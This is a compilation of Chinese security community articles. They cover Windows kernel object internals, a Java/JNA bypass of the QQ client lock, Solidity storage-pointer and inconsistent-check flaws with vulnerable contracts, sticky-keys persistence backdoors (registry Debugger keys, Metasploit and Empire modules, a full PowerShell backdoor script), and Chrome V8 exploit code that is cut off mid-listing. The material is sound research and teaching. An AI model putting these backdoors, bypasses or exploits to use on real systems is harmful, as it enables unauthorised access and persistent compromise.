4、Windbg的常规使用；
## 1、借助工具来宏观的看一下内核对象
有没有什么现成的工具以供浏览当前系统中存在的内核对象呢？最好像Explorer浏览硬盘上的文件夹那样带有目录层次结构的。有，当然有，而且还是微软官方出品的，而且还不止一个。先看看傻瓜式的GUI工具——WinObj.exe。运行效果如下，注意，这个要以管理员权限运行。简单的介绍些该软件所呈现出来的内容。
最上边的那个”\”表示的是根对象，Windows内核中的所有其他内核对象都隶属于该对象下。这个有点类似于Linux中的根目录一样。【微软也真是奇怪，又爱又恨吗？】”\”下的层次结构显示出来的便是其他属于同等层次的内核对象，然后依次往复下去，至少你需要明白一点，这些对象的类型都是一样的，尽管你现在还不知道他们到底是哪一种类型。右边显示出来的便是隶属于该目录下的具体的其他对象，对，你没有看错，就是“目录”对象下的其他对象，内核中有一个对象——目录对象，用来管理其他对象，这个就是我前一篇说的，Windows内核中仿照着文件系统实现了一个小型的文件系统来管理内核对象。那么问题来了，这个软件是怎么获取到这些内核对象的呢？换一个问题就是，WinObj.exe调用了哪些API来获取到的呢？再更深层次的挖一下就是，调用的这些API是通过查询什么结构来找到这些数据的呢？ok，这些问题先放一边，我们再来看另一个工具——Windbg。看看他是怎么给我们呢展示出这些信息的，如下：
嗯，虽然给的数据不太好看，但更讲求的是本质。下边我们就要脱离所有的工具，自己手动遍历出所有的内核对象，这样才理解的深刻。
## 2、内核对象管理的基础构建
我们先来再看一下内核对象类型对象数组，找一个比较有意思的类型对象。
名字叫“Directory”，其目的昭然若揭，就是用来管理的嘛，管理啥呢？当然是管理其他的“Directory”对象或者其他诸如“Process”、“Thread”等的类型对象。OK了，虚拟文件系统中的第一环已经有了，我们来具体的分析下这个类型对象。
0: kd> dt nt!_OBJECT_DIRECTORY
+0x000 HashBuckets : [37] Ptr32 _OBJECT_DIRECTORY_ENTRY
+0x094 Lock : _EX_PUSH_LOCK
+0x098 DeviceMap : Ptr32 _DEVICE_MAP
+0x09c SessionId : Uint4B
+0x0a0 NamespaceEntry : Ptr32 Void
+0x0a4 Flags : Uint4B
其中最重要的便是_OBJECT_DIRECTORY_ENTRY了，大家可能第一眼看到是37个的数组，可能心里会犯嘀咕，怎么才37个呢，超过这个数就不能管理了吗？其实不是这样的，来看下这个结构体的具体实现：
0: kd> dt nt!_OBJECT_DIRECTORY_ENTRY
+0x000 ChainLink : Ptr32 _OBJECT_DIRECTORY_ENTRY
+0x004 Object : Ptr32 Void
+0x008 HashValue : Uint4B
三个字段，
ChainLink：第一个字段是连接着下一个_OBJECT_DIRECTORY_ENTRY，是个单向链表；
Object：指向该Entry所管理的那个对象，比如EPROCESS，ETHREAD等等；
HashValue：该Entry的Hash值；
这里需要解释下，这个Hash的具体含义，其实很简单，就是根据某个算法计算出待插入的对象的一个Hash值，这个值完全是为了加快后边根据名字遍历指定对象时，加快查询速度。但请注意，这个Hasn值不能作为核对的唯一标准，因为系统计算这个Hash值的算法并没有保证该Hash的唯一性，所以在校验是否为指定对象时，Hash值的查询知识第一步，后边还会根据待查询的对象名来精确比较。
ObReferenceObjectByName()这个API大家可以自己去逆向分析下。
现在简单叙述下Windows创建一个内核对象的简单过程，看看系统是如何创建内核对象并且是如何和这个nt!_OBJECT_DIRECTORY发生关系的。以创建线程对象为例进行讲解说明。
PspAllocateThread()内部调用了一个非常重要的函数——ObCreateObject()，如下：
这里简单解释下PsThreadType这个全局变量，这个其实就是线程类型对象对象，其值与nt!ObpObjectTypes[6]是一样的，如下：
0: kd> dd nt!ObpObjectTypes
83f81aa0 a19378e0 a1937818 a1937750 a1937508
83f81ab0 a19c2040 a19c2f78 a19c2eb0 a19c2de8
83f81ac0 a19c2d20 a19c2668 a19e2330 a19ea418
83f81ad0 a19ea350 a19e9418 a19e9350 a19e89b8
83f81ae0 a19e88f0 a19e8828 a19e8760 a19e8698
83f81af0 a19e85d0 a19e8508 a19e8440 a19e8378
83f81b00 a19e7040 a19e7f78 a19e7eb0 a19e7160
83f81b10 a19f3f78 a19f3eb0 a19f3de8 a19f3930
0: kd> dd nt!PsThreadType l1
83fa8028 a19c2eb0
Windows内核搞出这么一个全局变量，完全是为了方便，而不用每次都去遍历数据，有人可能会问，没有遍历数组啊，直接取Index为6的不就完事了吗？其实，OS内核没有保证nt!ObpObjectTypes[6]就一定是线程对象。OK，下边就主要分析ObCreateObject()内部的具体实现就行了。
绕了这么一大圈，就为了看他一眼，好了回归正题，那又是在哪里插入进去的呢？NtCreateThread中还有一个关键的函数调用，即PspInsertThread()，该函数内部调用了另一个关键的API即ObInsertObjectEx(),如下所示：
其内部调用ObpCreateHandle()，该函数是为此对象创建出一个句柄，并插入到句柄表中，此外还有个副作用，我们需要分析的就是分析这个副作用。即插入到全局的Directory中。
ObpCreateHandle()中调用ObpInsertOrLocateNamedObject()进行对象的插入或者名字的定位，这个函数非常关键，其内部有算法，跟进去。
ObpInsertOrLocateNamedObject()中调用ObpLookupObjectName()进一步处理。
该函数体内出现了两个非常重要的东西，第一个是全局变量ObpRootDirectoryObject，第二个便是ObpLookupDirectoryEntry();分别如下图所示：
ObpLookupDirectoryEntry的完整C伪代码如下：
显然这个函数的作用已经不用过多的解释了，怎么遍历查找该全局“Directory”的也不用解释了。简单分析下便可知道具体的算法。
## 3、内核对象管理大管家——ObpRootDirectoryObject
在上一小节中，我们从源码中碰到了一个全局变量ObpRootDirectoryObject，这个全局对象可谓能够呼风唤雨，先来看下该对象对指向的具体的信息：
0: kd> dd ObpRootDirectoryObject l1
83f81a88 a8605ed0
0: kd> dt nt!_OBJECT_HEADER a8605ed0-18
+0x000 PointerCount : 0n44
+0x004 HandleCount : 0n0
+0x004 NextToFree : (null)
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x3 '' //注意这个
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x2 '' //注意这个
+0x00f Flags : 0x12 ''
+0x010 ObjectCreateInfo : 0x00000001 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x00000001 Void
+0x014 SecurityDescriptor : 0xa860501d Void
+0x018 Body : _QUAD
0: kd> dt nt!_OBJECT_HEADER_NAME_INFO a8605ed0-18-10
+0x000 Directory : (null)
+0x004 Name : _UNICODE_STRING "\"
+0x00c ReferenceCount : 0n0
由nt!_OBJECT_HEADER.TypeIndex为3可知，这是个根，回忆一下之前讲的数组的0号索引。由nt!_OBJECT_HEADER.InfoMask可知，其存在nt!_OBJECT_HEADER_NAME_INFO可变头信息，打出来看到其名字确实为”\”。那么这个对象的Body是什么呢？当然是nt!_OBJECT_DIRECTORY；为什么呢？其实由其名字就可以知道了。看看其Body的信息如下：
0: kd> dt nt!_OBJECT_DIRECTORY a8605ed0 -r2
+0x000 HashBuckets : [37] 0xa8608c98 _OBJECT_DIRECTORY_ENTRY
+0x000 ChainLink : 0xa8715fd8 _OBJECT_DIRECTORY_ENTRY
+0x000 ChainLink : (null)
+0x004 Object : 0xa278b358 Void
+0x008 HashValue : 0x125b
+0x004 Object : 0xa8610b60 Void
+0x008 HashValue : 0x2b26d
+0x094 Lock : _EX_PUSH_LOCK
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x098 DeviceMap : (null)
+0x09c SessionId : 0xffffffff
+0x0a0 NamespaceEntry : (null)
+0x0a4 Flags : 0
我们就沿着展开第一个HashBuckets吧，看看里边的数据都是些什么。-r2是告诉Windbg递归展开内部2层。注意第二层的ChainLink为null，说明这条链已经到头了。我们来具体分析下HashBuckets[0]号链上的这两个元素都是啥对象。
先看第一个对象，如下；正好是root对象；
0: kd> dt nt!_OBJECT_HEADER 0xa8610b60-18
+0x000 PointerCount : 0n6
+0x004 HandleCount : 0n0
+0x004 NextToFree : (null)
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x3 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x2 ''
+0x00f Flags : 0x12 ''
+0x010 ObjectCreateInfo : 0x00000001 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x00000001 Void
+0x014 SecurityDescriptor : 0xa860501c Void
+0x018 Body : _QUAD
第二个对象信息如下：
0: kd> dt nt!_OBJECT_HEADER 0xa278b358-18
+0x000 PointerCount : 0n2
+0x004 HandleCount : 0n0
+0x004 NextToFree : (null)
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x19 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x2 ''
+0x00f Flags : 0x12 ''
+0x010 ObjectCreateInfo : 0x00000001 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x00000001 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
0: kd> dt nt!_OBJECT_HEADER_NAME_INFO 0xa278b358-18-10
+0x000 Directory : 0xa8605ed0 _OBJECT_DIRECTORY
+0x004 Name : _UNICODE_STRING "Ntfs"
+0x00c ReferenceCount : 0n0
0: kd> dt nt!_DEVICE_OBJECT 0xa278b358
+0x000 Type : 0n3
+0x002 Size : 0xb8
+0x004 ReferenceCount : 0n1
+0x008 DriverObject : 0xa2407660 _DRIVER_OBJECT
+0x00c NextDevice : (null)
+0x010 AttachedDevice : 0xa24648a8 _DEVICE_OBJECT
+0x014 CurrentIrp : (null)
+0x018 Timer : (null)
+0x01c Flags : 0x40
+0x020 Characteristics : 0
+0x024 Vpb : (null)
+0x028 DeviceExtension : (null)
+0x02c DeviceType : 8
+0x030 StackSize : 9 ''
+0x034 Queue : <unnamed-tag>
+0x05c AlignmentRequirement : 0
+0x060 DeviceQueue : _KDEVICE_QUEUE
+0x074 Dpc : _KDPC
+0x094 ActiveThreadCount : 0
+0x098 SecurityDescriptor : 0xa87be310 Void
+0x09c DeviceLock : _KEVENT
+0x0ac SectorSize : 0x200
+0x0ae Spare1 : 1
+0x0b0 DeviceObjectExtension : 0xa278b410 _DEVOBJ_EXTENSION
+0x0b4 Reserved : (null)
0: kd> dt 0xa2407660 _DRIVER_OBJECT
ntdll!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n168
+0x004 DeviceObject : 0xa2ee4020 _DEVICE_OBJECT
+0x008 Flags : 0x92
+0x00c DriverStart : 0xa782f000 Void
+0x010 DriverSize : 0x12f000
+0x014 DriverSection : 0xa192f368 Void
+0x018 DriverExtension : 0xa2407708 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\FileSystem\Ntfs"
+0x024 HardwareDatabase : 0x841aa250 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : 0xa786e900 _FAST_IO_DISPATCH
+0x02c DriverInit : 0xa79329fa long Ntfs!GsDriverEntry+0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : (null)
+0x038 MajorFunction : [28] 0xa78c7bc8 long Ntfs!NtfsFsdCreate+0
都出来了，原来是文件系统下的一个文件设备驱动对象。ok，分析完上边两个Directory中的对象后，再回到之前说的Windbg的自动化命令的输出，我们来对比下：
是不是一模一样，现在你是否可以彻底搞明白Windbg的自动化命令是如何工作了的呢？不，我应该问，你是否彻底搞明白Windows的内核对象管理是如何实现了的呢？
## 4、附赠两张Windows内核对象全景图
下边这张图是我之前，很久以前学XP的时候自己总结的，而文章中讲解的是Win7的，所有有所区别，但原理是一样的，看这个图，有一种俯视的感觉：
## 5、作业
仿照着我给的上边这个图，把Win7下的内核对象管理也弄一张类似的图出来。 | 社区文章 |
在使用某抢票软件的时候，由于要设置抢票成功后的通知，就用了QQ通知。结果发现当QQ在锁定时，也可以获取到QQ的控制面板进行操作，竟然绕过了QQ的锁定，于是就去尝试如何实现QQ锁定的绕过。
# 情景还原
* * *
首先演示一下如何使用抢票软件进行QQ锁定的绕过。这里以最新版本[9.0.7（24121）](https://dldir1.qq.com/qqfile/qq/QQ9.0.7/24121/QQ9.0.7.24121.exe)为例。下载后正常安装。
[
安装后查看版本。
将QQ锁定，然后打开软件，选择QQ通知，点击“获取聊天窗口”，此时会进行QQ窗体的加载，然后在“要发送的窗口”下拉框会显示一个随机字符串，点击“测试发送”按钮，会发现QQ控制面板弹出。
而且是可以进行未锁定前的所有功能。如发送和接收消息，如图所示。
# 实现过程
刚开始的想法是首先获取QQ窗口的句柄，然后再利用句柄进行显示与隐藏。
## 尝试一
这里采用的是精易编程助手来获取句柄，当qq处于非锁定状态，获取QQ窗体句柄后，可以利用句柄对QQ进行隐藏或显示，即使把QQ锁定，也可以进行隐藏或者显示。
但是当QQ隐藏后，此时再获取句柄后，无法绕过QQ的锁定。这时候获取的句柄为QQ锁定状态的句柄。
> 该方法只能对未锁定的QQ进行操作，锁定后就无法获取控制面板句柄了，因此该方法行不通。
## 尝试二
放弃了精易编程助手，采用更专业的工具spy++。找到句柄后发现标题为一串随机的字符串，与抢票工具获取聊天窗口中标题一样。
猜测需要最终需要获取的句柄就是这个，句柄对应的十六进制为504BE，然后调用windows api进行窗口的显示和隐藏。
显示窗口`ShowWindow (句柄, 1)`，隐藏窗口`ShowWindow (句柄, 0)。`
效果如图所示。
> 这样虽然能够满足，但是却不够智能，无法自动获取句柄，需要借助其他工具去寻找句柄，因此放弃。
## 尝试三
本次测试中走了两条“弯路”，在这里简要说明一下，就不再附详细的过程了。某次发现使用
临时_句柄=FindWindowA (“TXGuiFoundation”, “TXMenuWindow”)
句柄=窗口_取父句柄 (窗口_取父句柄 (临时_句柄))
或者
临时_句柄=FindWindowA (“TXGuiFoundation”, “”)
句柄=窗口_取父句柄 (临时_句柄)
可以获取到QQ锁定时控制面板的句柄。如图所示
>
> 但这些只是概率事件，多数情况下还是不行的。即使可以使用这两种方法，但是这两种方法获取的都是一个句柄，当有两个QQ时，就无法同时获取两个句柄了，所以该方法不可取。
由于QQ处于锁定时，窗口标题为随机的字符串，所以无法使用FindWindowA这种方法了。
## 尝试四之最终实现
此时想到另外一个思路，遍历屏幕上所有的顶层窗口，然后根据条件进行筛选。
这里用的Java来实现，操作Windows API采用了[JNA](https://github.com/java-native-access/jna)。
> JNA的全称是Java Native Access，你只要在一个java接口中描述本地库中的函数与结构，
> JNA将在运行期动态访问本地库，自动实现Java接口到本地库函数的映射。
使用maven加入所需的依赖。
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.1.0</version>
</dependency>
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.1.0</version>
</dependency>
枚举屏幕上所有的顶层窗口采用的是[EnumWindows](https://java-native-access.github.io/jna/4.2.0/com/sun/jna/platform/win32/User32.html#EnumWindows-com.sun.jna.platform.win32.WinUser.WNDENUMPROC-com.sun.jna.Pointer-)。
boolean EnumWindows(WinUser.WNDENUMPROC lpEnumFunc,
Pointer data)
该函数枚举屏幕上所有的顶层窗口，并将窗口句柄传送给应用程序定义的回调函数。回调函数返回FALSE将停止枚举，否则EnumWindows函数继续到所有顶层窗口枚举完为止。
参数：lpEnumFunc - 指向应用程序定义的回调函数的长指针。
参数：data - 指定要传递给回调函数的应用程序定义的值。
代码实现如下：
User32.INSTANCE.EnumWindows(new WinUser.WNDENUMPROC() {
public boolean callback(WinDef.HWND hwnd, Pointer pointer) {
System.out.println(hwnd);
return true;
}
},null);
此时获取的时所有顶层窗口的句柄，剩下的就是去如何进行过滤，留下所需的句柄。
通过对比发现，可以用窗口样式进行区分。当QQ锁定时（或QQ未锁定且最小化时），对应的窗口样式为860C0000（十进制为2248933376）。
下面为QQ锁定时的样式。
通过查询API，可以用`User32.INSTANCE.GetWindowLongPtr(hwnd,User32.GWL_STYLE)`来获取窗口样式。然后通过这种方法进行过滤，当该值为2248933376，则认为对应的hwnd为QQ控制面板的句柄。
主要代码如下：
User32.INSTANCE.EnumWindows(new WinUser.WNDENUMPROC() {
public boolean callback(WinDef.HWND hwnd, Pointer pointer) {
if(User32.INSTANCE.GetWindowLongPtr(hwnd,User32.GWL_STYLE).longValue()==2248933376L){
System.out.println(hwnd);
}
return true;
}
},null);
可以看到成功获取了QQ锁定时控制面板的句柄。有了句柄，就可以进行之前的操作了，如显示与隐藏。
> 当QQ未锁定时，QQ弹出时对应的窗口样式为960c0000（十进制为2517368832）。
此时就可以先通过`EnumWindows`枚举所有的窗口，然后再使用`GetWindowLongPtr(hwnd,User32.GWL_STYLE)`获取窗口样式进行匹配，匹配到所需的窗口。
这里将QQ锁定和未锁定的情况都考虑进去，然后获取QQ控制面板的句柄。之后通过`GetWindowText`获取窗口的标题，再使用`ShowWindow`进行隐藏与显示操作。主要代码如下：
public static void main(String[] args) throws Exception{
List<WinDef.HWND> lt = getQQHwnds();
for (WinDef.HWND hwnd:lt) {
char[] titleBuffer = new char[512];
User32.INSTANCE.GetWindowText(hwnd,titleBuffer,512);
System.out.println(new String(titleBuffer));
User32.INSTANCE.ShowWindow(hwnd,1);//显示
Thread.sleep(2000);
User32.INSTANCE.ShowWindow(hwnd,0);//隐藏
Thread.sleep(2000);
User32.INSTANCE.ShowWindow(hwnd,1);//显示
Thread.sleep(2000);
}
}
public static List<WinDef.HWND> getQQHwnds(){
final List<WinDef.HWND> lt = new ArrayList<WinDef.HWND>();
User32.INSTANCE.EnumWindows(new WinUser.WNDENUMPROC() {
public boolean callback(WinDef.HWND hwnd, Pointer pointer) {
if(User32.INSTANCE.GetWindowLongPtr(hwnd,User32.GWL_STYLE).longValue()==2517368832L||User32.INSTANCE.GetWindowLongPtr(hwnd,User32.GWL_STYLE).longValue()==2248933376L){
lt.add(hwnd);
}
return true;
}
},null);
return lt;
}
首先获取到QQ控制面板的句柄，然后依次获取其标题，并进行`显示-隐藏-显示`等过程。效果如图所示。
> 这种成功实现了QQ锁定时自动获取控制面板句柄，实现了QQ锁定的绕过。而且有多个QQ时，都可以获取其句柄。
# 总结
在一次偶然的情况下可以绕过QQ锁定，于是就进行了尝试，走了一些弯路，最终实现了这种效果。主要过程就是`获取所有顶层窗口句柄-根据窗口样式匹配到QQ控制面板的句柄-使用ShowWindow进行显示`。也许这不是最佳的解决方法。如果大家有更好的方法或者建议，欢迎分享。
# 参考资料
[1]<https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getwindowlonga>
[2]<https://java-native-access.github.io/jna/4.2.0/com/sun/jna/platform/win32/User32.html#EnumWindows-com.sun.jna.platform.win32.WinUser.WNDENUMPROC-com.sun.jna.Pointer-> | 社区文章 |
### 前言
本次给大家带来的是“智能合约审计系列”的第三篇——“变量覆盖&不一致性检查”。
在这篇文章中将会给大家介绍一些智能合约开发者在合约开发过程中经常会忽略的变量初始化与赋值问题，包括智能合约开发者在开发中因粗心导致的“一致性检查”问题。
### 变量覆盖
#### 漏洞简介
在智能合约语言 Solidity当中，存在Storage（存储器）和
Memory（内存）两个不同的概念。Storage变量是指永久存储在区块链中的变量。Memory变量是临时的，这些变量在外部调用结束后会被移除。
Solidity中struct和数组在局部变量中默认是存放在storage中的，因此可以利用未定义的存储指针的问题，p会被当成一个指针，并默认指向slot[0]和slot[1]，因此在进行p.name和p.mappedAddress赋值的时候，实际上会修改变量testA，testB的值:
数组也是类似的情况:
#### 解决方案
结构体 Unintialised Storage Pointers 问题的正确的解决方法是将声明的 struct 进行赋值初始化，通过创建一 个新的临时
memory 结构体，然后将它拷贝到 storage 中。
数组Unintialised Storage Pointers 问题的正确解决方法是在声明局部变量 x 的时候，同时对 x 进行初始化操作。
Solidity 编译器开发团队在Solidity 0.4.25中对存在 Unintialised Storage
Pointers问题的代码进行了修复，否则将无法正常通过编译。开发人员需要关注 Solidity版本，并且使用 Solidity >=0.4.25
编写代码。
#### 案例分析
**未初始化的结构体局部变量**
pragma solidity ^0.4.22;
contract NameRegistrar {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
第一次部署后检查合约的unluck状态:
当输入
_name="0x0000000000000000000000000000000000000000000000000000000000000001"(63个0)，地址任意地址时，会覆盖unlocked的值，使其变为true。_
**未初始化的数组局部变量**
pragma solidity ^0.4.24;
pragma experimental ABIEncoderV2;
contract UnfixedArr {
bool public frozen = false;
function wrongArr(bytes[] elements) public {
bytes[1] storage arr;
arr[0] = elements[0];
}
}
当输入elements=[
"0x0000000000000000000000000000000000000000000000000000000000000001"](63个0)，会覆盖frozen的值，使其变为true。
### 不一致性检查
#### 漏洞简介
在进行转账操作时我们需要对转出账号的资产是否足够、被授权账户的转账额度是否小于指定的转账额度、接受转账的账户总额度在转账后是否大于在转账前的额度等一系列检查，但是有时候合约的设计者在检查时因为疏忽会将检查对象搞错导致出现逻辑设计问题，最终造成合约的巨额损失。
#### 漏洞原理
**allowed不一致性检查漏洞**
如上面代码所示：
require(_value <= allowed[_from][msg.sender]);
这一句的条件检测与
allowed[_from][_to] -= _value;
这一语句的操作很明显存在不相符，其中require检测的是当前被授权代为转账的账号可操作转账额度是否小于授权的额度，而下面的allowed语句为更新代为转账的额度，但是这里的更新对象却“不一致”，最终导致设置转账额度权限后，攻击者能够持续转账，直到转完所有余额。
**balances 不一致性检查漏洞**
如上面代码所示：
require(balances[msg.sender] >= _value);
这一句的条件检测与
balances[_from] -= _value;
这一语句的操作不相符，攻击者能够通过"整型溢出"，让"_from"账户余额获得极大的token 数量。
同时，有一些合约中使用了safeMath 安全方法进行计算"balances[_from] =
balances[_from].sub(_value);"，所以暂时没有溢出问题，但是条件检查部分是冗余的。
### 总结
在智能合约的开发过程中开发人员应该要十分留意功能函数的的设计问题，尤其是对于赋值、转账这样的敏感操作，有时候一个笔误就会引发巨额损失，同时对于安全审计人员在审计过程中也应该是否留意各个功能函数的设计以及操作对象的一致性和变量的引用的恰当性等安全问题。 | 社区文章 |
原文地址： <https://pentestlab.blog/2019/11/13/persistence-accessibility-features/>
Windows 的辅助功能提供了额外的选项（屏幕键盘，放大镜，屏幕阅读等），可以帮助残疾人更容易地使用操作系统。然而，这种功能可能会被滥用于在启用 RDP
并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘，或者需要修改注册表来执行远程存储的 payload。
借助辅助功能，最简单的实现持久性的方法是用合法的 cmd.exe 或者其他任何 payload 来替换粘滞键的二进制文件（sethc.exe）。
连按5次 shift 键将启用沾滞键并执行“流氓” sethc.exe，而不是之前的合法的
sethc.exe，该程序会提供提权后的会话或者提权后（SYSTEM）的命令提示符。
### 讲述人（Narrator）
在 Windows 10 操作系统中，讲述人是一款屏幕阅读程序，它能够辅助有视力问题的人。Giulio Comi
发现可以通过修改注册表使得讲述人被执行的时候实现无文件的持久化。在执行这一技术之前，Giulio
建议先对主机进行一系列的修改使得讲述人自动启动并降低它的噪音，建议设置如下：
他的博客中首先展示了这一技术，分为两步：
1. 删除 “DelegateExecute” 注册表键
2. 修改 “Default” 注册表键来执行命令
这两个键都是存储在以下位置：
Computer\HKEY_CURRENT_USER\Software\Classes\AppXypsaf9f1qserqevf0sws76dx4k9a5206\Shell\open\command
Metasploit 的 Web Delivery 模块可以用于捕获讲述人功能执行特定命令后获取到的会话。
### Metasploit
Metasploit 框架提供了一个后渗透模块，可实现自动化地利用沾滞键的权限维持技术。该模块将用 CMD 替换辅助功能的二进制文件（sethc, osk,
disp, utilman）。
use post/windows/manage/sticky_keys
当目标主机的屏幕被锁定时，执行 utilman 工具将会打开一个具有 system 级别权限的命令提示符。
这种方法需要一个高权限的 Meterpreter
会话，并且该系统需要启用远程桌面协议。在大多数组织中该协议是被默认启用的，以便于管理员向用户提供支持并在主机上远程执行任务。如果没有，可以通过以下的
Metasploit 模块来启用：
use post/windows/manage/enable_rdp
如果将辅助功能的二进制文件替换成恶意的 payload，将会返回一个 Meterpreter 会话，而不是一个高权限的 CMD。
### Empire
和 Metasploit 框架类似，Powershell Empire 也有一个可以实现沾滞键持久化技术的模块。 与 Metasploit
相比，它支持更多的二进制文件（讲述人，放大镜），而且不是用 CMD 去替换，它会修改 debugger 注册表键来存储 powershell 命令并执行
stager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger
以下二进制文件都可以被该 Empire 模块用作后门：
* sethc.exe
* Utilman.exe
* osk.exe
* Narrator.exe
* Magnify.exe
usemodule persistence/misc/debugger/*
### 杂项
利用沾滞键实现持久化的技术是广为人知的，很多威胁者都在网络攻击中使用这一方法。除了 Metasploit 和 Empire
之外，还有一些脚本可以自动化实现这个方法。Preston Thornburg 写了下面这个 powershell 脚本，通过修改注册表来实现权限维持。
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
$keyName = "sethc.exe"
$stringName = "Debugger"
$binaryValue = "C:\Windows\System32\cmd.exe"
IF (Test-Path ($registryPath + $keyName))
{
# Sticky Keys backdoor exists.
write-host "Registry key found. Let's remove it."
#New-Item -Path $registryPath -Name $keyName | Out-Null
Remove-Item -Path ($registryPath + $keyName) | Out-Null
write-host "Sticky Key backdoor has been removed."
}
ELSE {
# Sticky Keys backdoor does not exist, let's add it.
write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."
New-Item -Path $registryPath -Name $keyName | Out-Null
New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null
write-host "Sticky Keys backdoor added."
}
其他实现该技术的脚本，还有一些批处理文件和可执行文件，都来自这个 Github
项目：[logon_backdoor](https://github.com/szymon1118/logon_backdoor)
选项 1 将修改 "Debugger" 键来包含命令提示符的路径
连按5下 shift 键将会启用沾滞键并运行一个高权限的 CMD
两个版本都包含一个清理选项，用于删除 "Debugger" 注册表键
[Sticky-Keys](https://github.com/HanKooR/Sticky-Keys) 项目有一个额外的选项，即为用户提供一个
SYSTEM 权限的控制台。但是这一技术的实现和 logon_backdoor 项目非常相似。
### 参考
* <https://attack.mitre.org/techniques/T1015/>
* <https://github.com/szymon1118/logon_backdoor>
* <https://github.com/HanKooR/Sticky-Keys>
* <http://www.powershellempire.com/?page_id=225>
* <http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html>
* <https://hackingandcoffee.com/an-exercise-in-privilege-escalation-and-persistence/>
* <https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/>
* <https://oddvar.moe/2018/07/23/another-way-to-get-to-a-system-shell/>
* <http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/> | 社区文章 |
**作者：frust
原文链接：<http://noahblog.360.cn/chromium_v8_remote_code_execution_vulnerability_analysis/>
**
### 0x01-概述
2021年4月13日，安全研究人员Rajvardhan
Agarwal在推特公布了本周第一个远程代码执行（RCE）的0Day漏洞，该漏洞可在当前版本（89.0.4389.114）的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞，是基于Chromium内核的浏览器中V8
JavaScript引擎的远程代码执行漏洞，同时还发布了该漏洞的PoC。
2021年4月14日，360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome
89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72，以及Microsoft
Edge和其他可能基于Chromium的浏览器。
Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合，就有可能绕过Chrome沙盒。
### 0x02-漏洞PoC
目前四个漏洞issue 1126249、issue 1150649、issue 1196683、issue
1195777的exp均使用同一绕过缓解措施手法（截至文章发布，后两个issue尚未公开），具体细节可参考文章。
基本思路是创建一个数组，然后调用shift函数构造length为-1的数组，从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。
function foo(a) {
......
if(x==-1) x = 0;
var arr = new Array(x);//---------------------->构造length为-1数组
arr.shift();
......
}
issue 1195777中关键利用代码如下所示：
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
arr.shift();
let local_arr = Array(2);
......
}
参考issue 1126249和issue 1150649中关键poc代码如下所示，其缓解绕过可能使用同一方法。
//1126249
function jit_func(a) {
.....
v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
let v51206 = new Array(v5568);
v51206.shift();
Array.prototype.unshift.call(v51206);
v51206.shift();
.....
}
//1150649
function jit_func(a, b) {
......
v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
if (b) {
v56971 = 0;
}
v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
v129341.shift();
v4951241 = {};
v129341.shift();
......
}
国内知名研究员gengming和@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。
frust在youtube给出了Chrome89.0.4389.114的poc视频验证；经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。
### 0x03-exp关键代码
exp关键代码如下所示。
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;//进行地址泄露
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//
